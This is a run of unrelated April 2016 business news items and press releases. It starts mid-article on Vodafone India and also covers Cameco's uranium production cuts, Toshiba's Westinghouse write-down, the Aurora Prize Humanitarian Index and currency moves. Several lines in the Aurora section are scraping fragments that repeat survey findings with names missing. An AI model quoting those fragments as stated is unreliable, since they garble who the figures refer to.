The government has said that it will charge Vodafone $4.5 billion in taxes and fines. In its annual report, Vodafone said its Indian unit is involved in a number of tax cases with claims totaling more than $2.1 billion and penalties that could be worth up to 300% of the principal.

Potential upside

Give these considerable challenges, the senior management of the British telco will have to come up with a clear business development and, perhaps, debt restructuring plan to help engage investors in the Indian IPO.

One positive would be its good track record of steering the business towards profit growth. Earnings before interest, taxes, depreciation and amortisation rose at a compound annual growth rate of 10.2% between 2013 and 2015 and is faster than in the majority of Vodafone's key European markets, including UK and Germany.

For the 2014/15 financial year, Vodafone India's Ebitda grew by 16.3% year-on-year to $1.84 billion, while revenue rose 12.6% to $6.2 billion. Ebitda margin gained 0.8 percentage points to 29.6%.

Looking at the bigger picture, India is also a good destination for telecommunications investment because of the fast-growing market and low mobile penetration.

India's smartphone penetration of 19% is still very low but the market is seeing an expanding range of both affordable and high-end devices, CLSA said in a report in November. While the current 4G handset population is estimated at around 10 million, we expect this to increase to nearly 180 million by 2018.

India is Vodafone's biggest market in terms of subscriber numbers. Vodafone India has 185.5 million mobile customers in the financial year 2014/15, more than double the 68.5 million users in South Africa, the group's second-biggest market.
Bless them or curse them, but dont dismiss them.

During especially volatile times, advisors and investors are latching onto currency-hedged ETF equity funds as a way to neutralize currency risk in local markets around the world.

Up to now, currency hedging has been primarily the province of institutional investors to mitigate currency risk in international securities.

Now, as concerns about migrating to a fully hedged currency model begin to recede, the concept is seeping down to the retail level.

BlackRocks iShares now field a suite of 26 such funds out of 328 iShares ETFs globally, according to the firm.

Morgan Stanley seeded its lineup of ETFs this year with two currency-hedged ETFs.

And ETF specialist WisdomTree Investments recently added several to its family of ETFs.

Essentially, ETF currency funds are tools investors use to mitigate the volatility of their equity portfolios. They work by placing a bet that the [e.g., euro or yen] is going down (or up) relative to the U.S. dollar or another currency, says wealth manager Craig Ferrantino, founder and president of Craig James Financial Services in Melville, N.Y.

So, for instance, if an advisor believes that the effect of a strong dollar will affect a companys earnings, they can use a currency-hedged ETF that reflects the nature of that portfolio, say U.S companies with a large amount of sales in Europe, and hedge against the risk.

EASIER THAN SOME HEDGING STRATEGIES

There are pros and cons.

One positive, says Ferrantino, is that these funds are easy to understand as opposed to more complex hedging strategies such as currency futures, Ferrantino says.

And many boast low expense ratios.

But there are drawbacks.

A currency-hedged ETF under certain circumstances could jeopardize an overall diversification strategy, said Christopher McMahon, president of Pittsburgh-based McMahon Financial Advisors.

Sometimes, the return of the currency is positive, while the country return is negative, he says. The opposite can also happen as well if both move in the same direction.

Also, many of these funds are young, with little or no track records, and may use momentum and similarly questionable tactics to jack up returns.

WisdomTree, based in New York, for example, rolled out a suite of dynamic currency-hedged funds in January.

Examples include the WisdomTree Dynamic Currency Hedge Europe Fund (DDEZ), which tracks the performance of European dividend-paying firms; the WisdomTree Dynamic Currency Hedged Japan Fund (DDJP), and the WisdomTree Dynamic Currency Hedged International Equity Fund (DDWM), representing more than 20 countries ex- the U.S., with the heaviest weightings on firms in the United Kingdom and Japan.

The dynamic hedged strategy represents another approach that, if successful, may limit volatility and increase returns over time, some say.

Bruce W. Fraser, a New York financial writer, contributes to Financial Planning and On Wall Street.

This story is part of a 30-30 series on smart ETF strategies.


SASKATOON, SASKATCHEWAN -- (Marketwired) -- 04/21/16 -- ALL AMOUNTS ARE STATED IN CDN $ (UNLESS NOTED)

Cameco (TSX: CCO) (NYSE: CCJ) announced today that it is suspending production at its Rabbit Lake operation in northern Saskatchewan and production is being curtailed at Cameco Resources' US operations by deferring wellfield development. The changes are expected to result in a reduction of about 500 positions at Rabbit Lake and about 85 at the US operations, including employees and long-term contractors.

"We regret the impact these decisions will have on many of the talented and dedicated people working at these operations and on their home communities," said Cameco president and CEO Tim Gitzel. "Unfortunately, continued depressed market conditions do not support the operating and capital costs needed to sustain production at Rabbit Lake and the US operations. These measures will allow us to continue delivering value to Cameco's many stakeholders and support the long-term health of our company. We will provide assistance to those affected by these decisions."

Cameco and its US subsidiaries are working with employees at the affected operations to ensure a safe and orderly implementation of the decisions.

The Rabbit Lake operation will be placed in a safe care and maintenance state allowing Cameco the option to resume production when market conditions significantly improve. Cameco will offer affected employees exit packages. Where possible, the company will consider alternatives such as relocation to other Cameco facilities and job sharing options as part of its effort to minimize the impact on people and surrounding communities. A workforce of about 150 people will be required to maintain the facilities and sustain environmental monitoring and reclamation activities at Rabbit Lake. Work to transition the operation to care and maintenance will begin immediately and is expected to be completed by the end of August 2016. Workforce adjustments will occur over the next four months.

The US operations will continue to employ about 170 people to operate existing facilities and restore depleted wellfields, but new wellfield development will be stopped. The affected US employees will be offered exit packages with the workforce adjustments to be completed by the end of May. The US operations will continue ongoing licensing efforts to maintain the option to resume development when market conditions significantly improve.

As a result of these decisions, final production at Rabbit Lake is expected to be 1.0 million pounds in 2016 (previously 3.6 million pounds). In the US, 2016 production is expected to be 1.1 million pounds (previously 1.4 million pounds). Due to the nature of ISR (in situ recovery) mining and wellfield restoration requirements, production in the US cannot cease immediately and instead will decrease over time as head grades decline. Cameco will also review its corporate office activities in support of Rabbit Lake and the US operations with the objective of reducing general and administrative expenses.

In addition, given the current state of oversupply in the market, we have decided to reduce our 2016 production target at the McArthur River/Key Lake operation to 18 million pounds from 20 million pounds (100% basis). We will take the opportunity from additional downtime at the mill to further advance work needed to increase the mill's production capacity for when the market signals it is needed. This includes changes to the solvent extraction circuit, bringing some work on the crystallization circuit forward from 2017 and transitioning to the new calciner. There are no workforce impacts related to this change in production.

We continue to ramp up production at Cigar Lake and plan to produce 16 million pounds (100% basis) this year, subject to AREVA's McClean Lake mill receiving the necessary regulatory approvals to increase its licensed annual production capacity from 13 million pounds to 24 million pounds.

Cameco's annual production is now expected to be 25.7 million pounds (previously 30 million pounds).

The carrying value of Rabbit Lake is about $108 million and of the US operations is approximately $62 million (US$48 million) net of provision for reclamation. The cost of placing Rabbit Lake into care and maintenance for 2016 will be about $35 million. The expected reduction in the 2016 capital expenditures from these operational changes is approximately $48 million. The estimated severance cost is about $19 million and will be reflected in our second quarter earnings.

Keeping Rabbit Lake in a state of care and maintenance and deferring wellfield development at our US operations, rather than closing the operations permanently, gives Cameco the flexibility to increase production when market conditions significantly improve. However, with today's oversupplied market and uncertainty as to how long these market conditions will persist, we need to focus our resources on our lowest cost assets and maintain a strong balance sheet.

Profile

Cameco is one of the world's largest uranium producers, a significant supplier of conversion services and one of two Candu fuel manufacturers in Canada. Our competitive position is based on our controlling ownership of the world's largest high-grade reserves and low-cost operations. Our uranium products are used to generate clean electricity in nuclear power plants around the world. We also explore for uranium in the Americas, Australia and Asia. Our shares trade on the Toronto and New York stock exchanges. Our head office is in Saskatoon, Saskatchewan.

Caution Regarding Forward-Looking Information and Statements

Certain statements in this press release are "forward-looking information" or "forward-looking statements" within the meaning of Canadian and U.S. securities laws. They include: our ability to ensure a safe and orderly implementation; our ability to resume production when market conditions significantly improve; that these measures will allow us to continue to deliver value and will support the long-term health of the company; the expectation that transition to care and maintenance will begin immediately and be completed by the end of August 2016; the ability of the U.S. operations to continue ongoing licensing efforts to facilitate future resumption of production; the expected production levels at Rabbit Lake, our U.S. operations and Cigar Lake for 2016, and our overall 2016 expected production level; the impact of additional scheduled downtime for the Key Lake mill on McArthur River/Key Lake's production target; the expected cost of placing Rabbit Lake into care and maintenance for 2016; our expected reduction in capital expenditures for 2016; and the expected severance costs.

This information is based upon a number of assumptions that, while considered reasonable by management, are subject to significant uncertainties and contingencies. We have assumed that: we will be able to implement the suspension of production at Rabbit Lake and the curtailment of our U.S. operations by deferral of wellfield development in the manner, within the timelines, at the cost levels and with the benefits anticipated; we will be able to resume production at Rabbit Lake and continue wellfield development at our U.S. operations successfully when market conditions warrant; the impact of these decisions on our production levels and capital expenditures will be as expected; our production plans succeed; and that the McClean Lake mill will receive the necessary regulatory approvals, and will not be affected by any labour dispute, so that we will be able to achieve our production target at Cigar Lake.

This information also involves known and unknown risks, uncertainties, and other factors that may cause actual results and developments to differ materially from those expressed or implied. They include the risks that: unexpected difficulties or delays arise in the implementation of the suspension of production at Rabbit Lake or curtailment of production at our U.S. operations; our cost estimates may be inaccurate or we do not receive the benefits expected; the resumption of production and wellfield development in the future is complicated by unexpected impediments; our production plans do not succeed for any reason; and that we will not be able to meet our revised production targets.

Please also see our most recent annual information form and annual MD&A for other risks and assumptions relevant to the forward-looking information in this news release. We are providing this forward-looking information to help you understand management's views regarding these decisions and it may not be appropriate for other purposes. Cameco does not undertake any obligation to update or revise forward-looking information, except to the extent legally required.

Qualified Person

The above scientific and technical information related to the McArthur River/Key Lake operation was approved by Dave Bronkhorst, vice-president, mining & technology, who is a qualified person for the purpose of National Instrument 43-101.

The above scientific and technical information related to the Cigar Lake mining operation was approved by Les Yesnik, general manager, Cigar Lake, who is a qualified person for the purpose of National Instrument 43-101.

Contacts:

Investor inquiries:

Rachelle Girard

(306) 956-6403



Media inquiries:

Rob Gereghty

(306) 956-6190




SASKATOON, SASKATCHEWAN -- (Marketwired) -- 04/21/16 -- WESTCORE ENERGY LTD. (TSX VENTURE: WTR) ("Westcore" or the "Company") is pleased to announce that, at its annual and special meeting of shareholders held April 20, 2016, Westcore's shareholders elected Tom MacNeill, Andrew Davidson, Ray Hodgkinson, George Jones and Paul Conroy as the Company's directors. The resolutions reappointing Davidson & Co. LLP as auditors for the Company and approving the continuation of the Company's stock option plan were all approved. Support for these resolutions ranged from 99.85 to 100 per cent of the votes cast.

The previously announced transaction with Allstar Energy Limited, a wholly-owned subsidiary of 49 North Resources Inc., wherein Westcore will acquire a 100% working interest in the oil and gas properties of Allstar and FNR, in addition to the subsequent acquisition of all associated oil and gas property and equipment of Allstar and FNR was overwhelmingly approved, with 99.91% of the votes cast by disinterested shareholders being in favour. In conjunction with this, the special resolution of shareholders authorizing and approving of a one-for-five share consolidation was also approved with 99.82% of votes casted in favour.

This pending acquisition represents a significant milestone for Westcore, as it transitions into a producing oil and gas company, with a focus on heavy oil in west central Saskatchewan. The transaction with FNR and Allstar, along with the share consolidation, are expected to be completed in the second quarter of 2016.

Completion of the Transaction is subject to a number of conditions including, but not limited to, completion of satisfactory due diligence, execution of a definitive agreement and receipt of approval from the TSX Venture Exchange. There are no finder's fees, nor any other similar compensation payable in connection with the Transaction. There can be no assurance that the Transaction will be completed as proposed or at all.

We seek Safe Harbor.

Reader Advisory

Except for statements of historical fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. In particular, forward-looking information in this press release includes, but is not limited to, the potential Transaction, the completion thereof and receipt of required approvals and the potential future production of petroleum products from the properties that are the subject of the Transaction. Although we believe that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. We cannot guarantee future results, performance or achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information.

Forward-looking information is based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking information. Some of the risks and other factors that could cause the results to differ materially from those expressed in the forward-looking information include, but are not limited to: general economic conditions in Canada, the United States and globally; industry conditions, governmental regulation, including environmental regulation; commodity prices; unanticipated operating events or performance; failure to obtain industry partner and other third party consents and approvals, if and when required; the availability of capital on acceptable terms; the need to obtain required approvals from regulatory authorities; stock market volatility; competition for, among other things, capital, skilled personnel and supplies; changes in tax laws; and the other risk factors disclosed under our profile on SEDAR at www.sedar.com. Readers are cautioned that this list of risk factors should not be construed as exhaustive.

The forward-looking information contained in this news release is expressly qualified by this cautionary statement. We undertake no duty to update any of the forward-looking information to conform such information to actual results or to changes in our expectations except as otherwise required by applicable securities legislation. Readers are cautioned not to place undue reliance on forward-looking information.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Contacts:

Westcore Energy Ltd.

Andrew Davidson

Vice President and Chief Operating Officer

(306) 653-2692

www.westcoreenergy.ca




BERLIN (dpa-AFX) - Daimler AG (DDAIF.PK) said that it conducts an internal investigation regarding its certification process related to exhaust emissions in the United States upon the request of the U.S. Department of Justice. Daimler noted that it is cooperating fully with the authorities. Daimler will consequently investigate possible indications of irregularities and of course take all necessary actions. The company's experience with the U.S. authorities has clearly shown that a conservative communication supports the constructive dialogue with the authorities. In addition the class actions are considered to be without merit and Daimler will defend itself against them with all available legal means, the company said. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
BURBANK (dpa-AFX) - Univision Communications Inc. said that it has reached an agreement with Walt Disney Co.'s (DIS) ABC to become the sole owner of FUSION, the joint venture the two companies launched in October 2013. Effective immediately, Univision Communications will take over ABC's role in handling distribution and ad sales functions for FUSION's multi-platform network and will have editorial control. The transition of ownership will happen once the transaction is completed, which is expected to be as soon as reasonably practical. Terms of the transaction are not being disclosed. Univision Communications will be forming the Fusion Media Group or FMG. FMG will serve as the multi-platform destination for the new, rising American mainstream, delivering content that embodies the audience's shared values and passion points across all platforms. Building on the foundation created by FUSION, UCI's first English-language effort, the company has established a collection of brands that speak with an authentic voice and a convention-breaking, youthful perspective. The Fusion Media Group will include UCI's interests in FUSION and El Rey as well as The Root, The Onion, A.V. Club, Clickhole, Starwipe, Flama, Univision Digital and Univision Music. FUSION currently reaches approximately 27 million people each month across all platforms, and in 2015 its website, FUSION.net, saw traffic grow over 305% (10 million monthly uniques). Additionally, FUSION has a weekly programming block on UniMas, UCI's second broadcast network, and recently expanded its reach through an agreement with HBO to broadcast a new series, 'Outpost', and a one-hour special helmed by Univision and FUSION News Anchor, Jorge Ramos. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
TOKYO (dpa-AFX) - Toshiba Corp. (TOSYY.PK, TOSBF.PK) plans to book nearly 300 billion yen or $2.73 billion in impairment losses on Westinghouse for the year ended March 31, taking a step to address persistent concerns over the U.S. nuclear unit as fiscal reform and restructuring efforts progress, Nikkei reported. The Japanese electronics giant has spent almost 600 billion yen since 2006 to acquire a total 87% stake in the American nuclear company, booking nearly 350 billion yen in goodwill. But the nuclear business has soured dramatically in the wake of Japan's earthquake and nuclear plant disaster in March 2011. Toshiba's capacity for investment also has fallen, leading the company to take a hard look at the future earning potential of its nuclear operations. The plan is to write down most of its goodwill on Westinghouse as losses, in line with accounting rules requiring write-downs on assets with diminished yields. The anticipated 300 billion yen figure could change as negotiations with auditors progress, the report said. Toshiba is seen balancing the write-down's effects on fiscal 2015 earnings by also booking profit from the sale of subsidiary Toshiba Medical Systems to Canon, which will contribute 500 billion yen to the parent's bottom line. The company reportedly is accelerating restructuring efforts as it regains its feet. Toshiba will cut more than 14,000 jobs in Japan and abroad through early retirement and other means. Home appliance operations are slated to be sold to a Chinese appliance company. But plans for a merger of the company's personal computer operations with those at Fujitsu and Sony spinoff Vaio have fallen through. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
"Compassion Gap" Arises between Desire to Help Syrian Refugees and Willingness to Take Action

YEREVAN, Armenia, April 22, 2016 /PRNewswire/ --Today, the Aurora Prize for Awakening Humanity unveiled the results of the first annual Humanitarian Index, a global study of the top humanitarian issues, their causes and who is best positioned to address them, at the Aurora Dialogues conference in Yerevan, Armenia. The 4,600 respondents in the U.S., U.K., France, Germany, Lebanon and Iran all cited terrorism as the number one most pressing humanitarian challenge now and for the next five years, followed by forced migration.

The research reveals a gulf between perception and reality on a number of fronts with American, British and French publics underestimating the number of Syrian refugees by staggering amounts (4.7 million, 4.5 million and 4.5 million respectively). Americans are similarly out of step with the rest of the world in their overall concern for forced migration, ranking it a distant seventh among the list of the world's most pressing humanitarian challenges.

On the issue of forced migration, many Western publics believe their governments have done more than enough to offer refuge to those in need. The U.S. public believes their country has taken three times as many Syrian refugees as they actually have. In France and Germany, estimates of the number of Syrians given asylum due to conflict are five times greater than the actual figures.

"The global refugee crisis will only get worse unless world leaders agree to better coordinated and principled action, and are buttressed by a better-informed public awareness of its true causes and dimensions," commented Jean-Marie Guehenno, President of the International Crisis Group, an independent conflict-prevention organization. "Frontline states taking in refugees from neighboring wars are overwhelmed by the economic, social, human rights, political and security implications of rapid, massive influxes of people. Any failure to address the situation risks further conflict, triggering further refugee flows and increasing the scale of the humanitarian tragedy. Ultimately, any credible response to the crisis must address its principal driver-an upsurge in wars."

The Humanitarian Index demonstrates the existence of a "compassion gap"-a large imbalance between what people say and feel versus what they would be willing to do. One in two respondents feel that refugees have been abandoned by the international community, and the vast majority agree that refugees deserve help. However, only one in two would actually help Syrian refugees if they could, and most doubt their ability to make a real difference.

"What this report highlights is the urgent need to inform the public of the global refugee crisis; the defining humanitarian challenge of our time. A passionate and mobilized public is critical to both ensuring support for the investment necessary to alleviate human suffering and also to hold political leadership accountable for tackling the root causes of the crisis," said Dominic MacSorley, Chief Executive Officer of Concern Worldwide, a charity that works with the world's poorest people to transform their lives.

Misinformation and cynicism dominate public perceptions about refugees, with the majority of the public confusing refugees with economic and other types of migrants. In Western countries, nearly the same number of people believe that asylum seekers move for aspirational reasons as those who believe they are doing so to escape conflict (63% and 70% respectively).

The research also uncovers some of the triggers that spur people to take action. Twenty-seven percent of those who have been compelled to take action on behalf of refugees have largely done so after hearing about a personal story and there is an overwhelming curiosity (close to 40%) to discover more stories about real individuals.

A number of other key findings were uncovered including:

The public disproportionately associates the global refugee crisis with the situation in Syria , demonstrating ignorance of other refugee crises including Myanmar , Sudan and the Democratic Republic of the Congo .

, demonstrating ignorance of other refugee crises including , and the . The majority of respondents believe that international institutions are best placed to solve the refugee crisis, yet half feel refugees have been abandoned by the international community.

When it comes to identifying international leaders most capable of managing the Syrian crisis, Barack Obama (46%) and Angela Merkel (46%) score the highest, followed by Vladimir Putin (33%) and David Cameron (28%) with Hillary Clinton (17%) and Donald Trump (9%) trailing far behind.

(46%) and (46%) score the highest, followed by Vladimir Putin (33%) and (28%) with (17%) and (9%) trailing far behind. The public feels compassion for refugees, but only half would help Syrian refugees if they could, and most question their ability to make a real difference.

The findings will be presented at the Aurora Dialogues-a global gathering of the humanitarian community in Yerevan, Armenia on April 23 , 2016-and in conjunction with the announcement of the first Aurora Prize Laureate.

"What is encouraging is that the research shows that although individuals might struggle to turn compassion into action, the public realizes that those humanitarians who do intervene on behalf of others can have a tremendous impact," said Vartan Gregorian, President of the Carnegie Corporation of New York, Co-Founder of 100 LIVES and a member of the Aurora Prize Selection Committee. "The Aurora Prize is about recognizing and celebrating these individuals for risking it all for the sake of others. By showing the impact one person's actions can have, it is our hope that others will be compelled to act, too."

NOTES TO EDITORS

Other findings from the Humanitarian Index include:

Syria has become synonymous with the global refugee crisis

Globally, the public believes Syria is the country from which the most refugees have fled over the last decade. However, the public is not aware of the high volumes of refugees originating from various countries across Africa and Asia .

is the country from which the most refugees have fled over the last decade. However, the public is not aware of the high volumes of refugees originating from various countries across and . Despite more than one million refugees coming from Sudan and South Sudan combined, only 8% of the public recognize the scale of the humanitarian crisis in South Sudan .

and combined, only 8% of the public recognize the scale of the humanitarian crisis in . One in five Americans incorrectly pinpoint Mexico as the highest source of refugees globally, while Britain and France both overestimate the volume of refugees coming from Libya .

Safe refuge and scale of the crisis

The public underplays the role of neighboring countries in taking refugees. Only 15% correctly identify Turkey as the country with the highest intake of refugees globally, and only 2% recognize Pakistan's role in offering safe refuge.

as the country with the highest intake of refugees globally, and only 2% recognize role in offering safe refuge. In contrast, the public exaggerates the number of Syrian refugees their country has hosted. Both French and German publics overstate the volume of refugees taken in by their respective countries by a factor of five[1].

Leadership vacuum

Global publics overwhelmingly agree (70%) that it is down to international bodies to resolve the global refugee crisis, yet one in two believe the international community has turned its back on Syrians.

The international leadership vacuum extends as far as world leaders who, according to respondents, are failing to adequately address the Syrian crisis. There is general agreement across all those surveyed that the top three leaders deemed most capable of addressing the crisis are Angela Merkel , Barack Obama and Vladimir Putin. This means that the French have placed more faith in Angela Merkel than Francois Hollande (51% vs. 36% respectively) and the British believe Merkel is just as capable as David Cameron (41% vs.39%, respectively) to address the crisis.

, and Vladimir Putin. This means that the French have placed more faith in than Francois Hollande (51% vs. 36% respectively) and the British believe Merkel is just as capable as (41% vs.39%, respectively) to address the crisis. United Nations Secretary General Ban Ki -moon scored well in Lebanon (39%) and Iran (37%), but U.S. presidential hopefuls Hillary Clinton (23%) and Donald Trump (16%) fell way behind other world leaders amongst American audiences.

Helping is a badge of honor

Despite inertia and cynicism, the public sees helping as a badge of honor. Seventy-one percent of the public have great respect for individuals who travel to conflict areas to deliver humanitarian aid and 69% believe it takes great courage for aid workers to deliver humanitarian assistance to the people who need it most, despite risks to themselves. As they assess their personal sense of responsibility, 49% of those who have abstained from taking action have done so due to concerns about how their monetary contribution will be used.

The public are generally aligned on what it would take to foster further action: A clear sense of individual responsibility to help Transparency with regard to the use of donations Creating a global community that rewards those delivering humanitarian aid



About the Aurora Prize Humanitarian Index:

The research was commissioned by the Aurora Prize and conducted by Edelman Intelligence between March and April 2016. Interviews with 4,600 individuals were conducted online across six countries, France, Germany, Iran, Lebanon, U.K., and U.S. The sample was representative of the general population in terms of age, gender and location in the U.S., U.K., France and Germany. It was representative of the online population in Lebanon and Iran; meaning the sample in those countries over-represents educated men.

About the Aurora Prize for Awakening Humanity

Recipients will be recognized for the exceptional impact their actions have made on preserving human life and advancing humanitarian causes. On behalf of the survivors of the Armenian Genocide and in gratitude to their saviors, an Aurora Prize Laureate will be honored each year with a US$100,000 grant as well as the unique opportunity to continue the cycle of giving by nominating organizations that inspired their work for a US$1,000,000 award.

The Aurora Prize Selection Committee includes Nobel Laureates Elie Wiesel, Oscar Arias, Shirin Ebadi and Leymah Gbowee; former President of Ireland Mary Robinson; human rights activist Hina Jilani; former Australian Foreign Minister and President Emeritus of the International Crisis Group Gareth Evans; President of the Carnegie Corporation of New York Vartan Gregorian; and Academy Award-winning actor and humanitarian George Clooney.

The Aurora Prize will be awarded annually on April 24 in Yerevan, Armenia.

Further information is available at www.auroraprize.com.

About Edelman Intelligence:

Edelman Intelligence is a global, full-service market insights and analytics firm that provides corporate, non-profit and government clients with strategic intelligence to make their communications and engagements with stakeholders the smartest they can be. The firm specializes in measurement, tracking and analysis in reputation, branding and communications. Edelman Intelligence is part of Edelman, the world's largest public relations company. Edelman Intelligence has more than 200 employees and 12 offices around the world.

[1]French and German publics believe they have hosted 20,000 and 500,000 respectively. The actual figures are 4,000 and 105,000 respectively.

Media Contacts: 100livesmedia@edelman.com

Photography and videos for media use: http://auroraprizemedia.com


LAS VEGAS, NV -- (Marketwired) -- 04/22/16 -- North Springs Resources Corp. (OTC PINK: NSRS) is pleased to announce the Company is pursuing their corporate business objectives by entering into the pharmaceutical and medical technology arena. NSRS will begin focusing its efforts through joint ventures and acquisitions on the development and formulations in this sector to better serve humanity. The demand for new pharmaceuticals and medical technology is escalating with the world's aging population.

J. Douglas Pulver, President of NSRS, stated, "We are very excited to be entering into this sector. The pharmaceutical and medical technology sector is valued at well over a trillion dollars with ongoing growth parallel to no other industry. We are currently updating our website in order to keep our shareholders up-to-date on our progress."

About North Springs Resources

For more information about North Springs Resources Corp., please see their website at www.northspringsresources.net.

Company Contact: 813-699-4098

Safe Harbor Statement:

This press release may contain certain forward-looking statements. These statements are any statements that are not of historical fact and may be deemed to be forward-looking statements made by management that express their belief at the time they are made regarding the Company's results of operations, possible profits, financial developments business activities, and potential for success in various aspects of our operations. You can identify forward-looking statements as those that are not historical in nature, particularly those that use terminology such as "may", "will", "should", "expects", "anticipates", "contemplates", "estimates", "believes", "plans", "projects", "predicts", "potential" or "continue" or the negative of these similar terms. In evaluating these forward-looking statements, you should consider various factors, including the following: (a) those risks and uncertainties related to general economic conditions, (b) whether we are able to manage our planned growth efficiently and operate profitably, (c) whether we are able to generate sufficient revenues or obtain financing to sustain and grow our operations, and (d) whether we are able to successfully fulfill our primary requirements for cash. The Company's actual results may differ significantly from the results projected in the forward-looking statements. The Company assumes no obligation to update forward-looking statements.

North Springs Resources Corp

813-699-4098




Project includes world's first commercial High Severity FCC Unit

Regulatory News:

Technip (Paris:TEC) (ISIN:FR0000131708) (ADR:TKPPY) was awarded a contract by Daelim Industrial Company(1) to provide proprietary equipment for the world's first commercial High Severity Fluid Catalytic Cracking (HS-FCC) unit. The HS-FCC cracks heavy hydrocarbons into lighter olefins such as propylene and lighter fuels such as gasoline. It will be constructed as part of the expansion of the existing residue conversion facilities at the S-Oil(2) refinery in Onsan, South Korea.

The proprietary equipment provided by Technip includes an innovative downflow reactor, the key component of the HS-FCC technology.

Stan Knez, President, Technip Stone Webster Process Technology, commented: "We continually develop our proprietary equipment designs to ensure clients receive maximum value from their investment. This is particularly important when new advanced technology such as the HS-FCC(3) is employed."

This award results from Technip's strong expertise in technology and equipment, which is part of its strategic focus to provide an integrated offering, as a broad-based oilfield services and equipment company.

(1) Engineering, procurement and construction contractor for the project.

(2)Established in 1976, S-Oil has grown into one of the most competitive oil refiners in the Asia-Pacific region. The company operates an oil refinery facility with a capacity of 669,000 barrels per day, and other facilities that can produce petrochemicals and lube base oil in the Onsan Refinery in Ulsan.

(3)HS-FCC was developed by an alliance comprising Saudi Aramco, JX Nippon Oil Energy Corp, King Fahd University of Petroleum and Minerals; the technology is licensed by Technip Stone Webster Processing Technology and Axens; this first unit was licensed by Axens.

Technip is a world leader in project management, engineering and construction for the energy industry.

From the deepest Subsea oil gas developments to the largest and most complex Offshore and Onshore infrastructures, our close to 34,400 people are constantly offering the best solutions and most innovative technologies to meet the world's energy challenges.

Present in 45 countries, Technip has state-of-the-art industrial assets on all continents and operates a fleet of specialized vessels for pipeline installation and subsea construction.

Technip shares are listed on the Euronext Paris exchange, and its ADR is traded in the US on the OTCQX marketplace as an American Depositary Receipt (OTCQX: TKPPY).

More information

Website http://www.technip.com

@TechnipGroup

View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006448/en/

Contacts:

Technip

Public Relations

Laure Montcel, Tel. +33 (0) 1 49 01 87 81

or

Delphine Nayral, Tel. +33 (0) 1 47 78 34 83

E-mail: press@technip.com

or

Investor and Analyst Relations

Aurelia Baudey-Vignaud, Tel. +33 (0) 1 85 67 43 81

E-mail: abaudeyvignaud@technip.com

or

Elodie Robbe-Mouillot, Tel. +33 (0) 1 85 67 43 86

E-mail: erobbemouillot@technip.com
CANBERA (dpa-AFX) - The Japanese yen weakened against the other major currencies in the late Asian session on Friday. The yen slid to more than a 2-week low of 110.19 against the U.S. dollar, from an early 2-day high of 109.26. The yen fell to 124.42 against the euro and 86.64 against the Canadian dollar, from yesterday's closing quotes of 123.54 and 85.93, respectively. The yen dropped to 158.05 against the pound and 113.06 against the Swiss franc, from early 2-day highs of 156.52 and 112.13, respectively. Against the Australian and the New Zealand dollars, the yen edged down to 85.31 and 76.13 from an early 3-day high of 84.64 and a 4-day high of 75.54, respectively. If the yen extends its downtrend, it is likely to find support around 112.00 against the greenback, 126.00 against the euro, 87.00 against the loonie, 161.00 against the pound, 115.00 against the franc, 87.00 against the aussie and 78.00 against the kiwi. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
NEC Seiichiro Toda s-toda@cj.jp.nec.com +81-3-3798-6511

